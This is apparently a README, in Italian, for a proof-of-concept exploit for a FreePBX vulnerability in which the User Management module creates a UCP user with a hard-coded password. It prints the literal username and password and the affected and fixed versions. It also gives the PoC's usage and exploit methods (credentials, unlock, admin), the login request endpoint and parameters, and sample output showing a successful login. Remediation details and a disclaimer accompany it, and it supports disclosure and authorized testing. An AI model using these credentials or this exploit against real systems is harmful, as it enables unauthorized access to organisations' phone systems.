
CVE-2026-46376 - FreePBX Accesso UCP non autenticato tramite credenziali hard-coded
Una vulnerabilità critica nel modulo User Management (userman) di FreePBX consente a utenti non autenticati di accedere al Pannello di Controllo Utente (UCP) utilizzando credenziali hard-coded che vengono incorporate durante la procedura di impostazione del template generico UCP.
CVSS v4.0: 9.1 (Critico) | CWE-798: Uso di credenziali hard-coded
Divulgato: 15 maggio 2026 | Segnalatore: s0nnyWT
Quando un amministratore utilizza la funzionalità opzionale di impostazione del template generico UCP (introdotta nel 2021), viene creato un utente di sistema FreePBXUCPTemplateCreator con una password statica hard-coded. Se l'amministratore non modifica mai questa password dopo l'impostazione, qualsiasi utente non autenticato sulla rete può accedere all'UCP con queste credenziali.
| Campo | Valore |
|---|
| Username | FreePBXUCPTemplateCreator |
| Password | 1a2b3c@fd48jshs03123ld |
| Source | Userman.class.php — password passata tramite md5() |
| Attack Vector | Rete |
| Complexity | Bassa |
| Auth Required | Nessuna |
| User Interaction | Nessuna |
| Prerequisite | L'amministratore deve aver eseguito l'impostazione del template generico UCP |
Nota: L'utente
FreePBXUCPTemplateCreatorviene creato solo se un amministratore esegue esplicitamente la funzionalità di impostazione del template generico UCP. I sistemi in cui questa impostazione non è mai stata eseguita non sono sfruttabili tramite questa CVE, anche se eseguono una versione affetta.
| Piattaforma | Modulo userman | Affette | Corretta |
|---|---|---|---|
| FreePBX 15 | — | 15.0.42+ | N/A |
| FreePBX 16 | userman | ≤ 16.0.44 | 16.0.45 |
| FreePBX 17 | userman | ≤ 17.0.6 | 17.0.7 |
La correzione randomizza la password utilizzando bin2hex(random_bytes(24)) durante l'installazione/aggiornamento, e i creatori di template esistenti ricevono la loro password rigenerata durante l'aggiornamento.
pip3 install requests
python3 poc.py <target_url>
positional arguments:
target URL target (es. http://192.168.1.100)
optional arguments:
-h, --help mostra questo messaggio di aiuto ed esci
--no-check salta il controllo preliminare della versione
--timeout TIMEOUT timeout della richiesta in secondi (default: 15)
--method {creds,unlock,admin,all}
quale metodo di exploit eseguire (default: all)
-y, --yes continua automaticamente anche se la versione è fuori range
POST /ucp/ajax.php con module=User&command=login utilizzando le credenziali hard-coded?unlockkey=&templateid=$ python3 poc.py http://192.168.1.100
============================================
CVE-2026-46376 PoC - FreePBX UCP Access
Target: http://192.168.1.100
============================================
[+] Target is reachable (HTTP 200)
[+] FreePBX version: 16.0.30
[+] Version 16.0.30 is in the affected range
[+] UCP interface is accessible
============================================
Exploitation
============================================
============================================
Method 1: Hard-Coded UCP Credentials
============================================
Username: FreePBXUCPTemplateCreator
Password: 1a2b3c@fd48jshs03123ld
[+] Got CSRF token: a749bea059fa66bd32087a8481a4d07b
[+] SUCCESS! Logged in as FreePBXUCPTemplateCreator
============================================
Summary
============================================
Target is VULNERABLE
Per verificare se un sistema è sfruttabile, il PoC invia una richiesta di login a POST /ucp/ajax.php con module=User&command=login e le credenziali. Una risposta {"status":true} indica che l'utente creatore del template esiste e la password è ancora quella predefinita.
Una risposta {"status":false,"message":"Invalid Login Credentials"} significa che:
userman alla versione 16.0.45 (FreePBX 16) o 17.0.7 (FreePBX 17)Questo PoC è fornito esclusivamente per scopi educativi e di test di sicurezza autorizzati. L'uso non autorizzato di questo exploit contro sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione al test è illegale. Gli autori non sono responsabili per qualsiasi uso improprio o danno causato da questo strumento.